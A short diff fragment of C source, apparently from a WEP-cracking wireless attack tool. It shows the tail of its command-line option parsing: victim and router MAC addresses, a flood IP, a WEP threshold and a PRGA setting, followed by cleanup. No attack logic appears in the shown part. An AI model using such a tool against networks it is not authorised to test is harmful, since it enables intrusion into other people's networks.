+ case 's':
+ floodip = optarg;
+ break;
+
+ case 'i':
+ dev = optarg;
+ break;
+
+ case 'm':
+ strncpy(myip, optarg, sizeof(myip)-1);
+ myip[sizeof(myip)-1] = 0;
+ break;
+
+ case 'n':
+ netip = optarg;
+ break;
+
+ case 'r':
+ str2mac(rtr, optarg);
+ rtrmac = rtr;
+ break;
+
+ case 'v':
+ str2mac(vic, optarg);
+ victim_mac = vic;
+ break;
+
+ case 'c':
+ wep_thresh = -1;
+ break;
+
+ case 'p':
+ min_prga = atoi(optarg);
+ break;
+
+ case '4':
+ bits = 64;
+ break;
+
+ default:
+ usage(argv[0]);
+ break;
+ }
+ }
+
+ start(dev);
+
+ if(chaninfo.s != -1)
+ close(chaninfo.s);
+ if(victim.ssid)
+ free(victim.ssid);
+ exit(0);
+}
OpenPOWER on IntegriCloud